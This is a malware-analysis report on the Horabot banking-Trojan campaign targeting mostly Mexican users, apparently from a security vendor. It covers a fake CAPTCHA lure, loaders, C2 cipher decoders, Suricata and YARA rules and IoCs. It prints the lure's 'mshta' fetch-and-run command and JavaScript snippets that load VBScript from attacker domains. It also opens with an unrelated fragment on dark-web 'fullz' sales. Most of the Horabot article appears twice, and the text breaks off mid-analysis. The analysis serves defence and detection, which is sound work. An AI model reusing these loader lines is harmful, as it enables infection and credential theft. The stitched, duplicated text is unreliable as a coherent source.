Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

